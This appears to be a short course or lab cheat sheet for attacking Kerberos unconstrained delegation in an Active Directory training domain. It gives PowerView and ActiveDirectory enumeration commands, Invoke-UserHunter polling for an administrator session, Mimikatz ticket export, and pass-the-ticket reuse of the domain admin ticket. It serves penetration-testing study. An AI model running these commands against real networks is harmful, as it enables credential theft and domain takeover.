Unconstrained Delegation

Discover domain computers which have unconstrained delegation

PowerView:

Get-NetComputer -UnConstrained

• Using ActiveDirectory module:

Get-ADComputer -Filter {TrustedForDelegation -eq $True}

Get-ADUser -Filter {TrustedForDelegation -eq $True}

We must trick or wait for a domain admin to connect a service on 

appsrv. 

• Now, if the command is run again:

Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 -UserName Administrator -Delay 5 -Verbose

Invoke-Mimikatz –Command '"sekurlsa::tickets /export"'

• The DA token could be reused:

Invoke-Mimikatz -Command '"kerberos::ptt

C:\Users\appadmin\Documents\user1\[0;2ceb8b3]-2-0-60a10000-Administrator@krbtgtDOLLARCORP.MONEYCORP.LOCAL.kirbi"'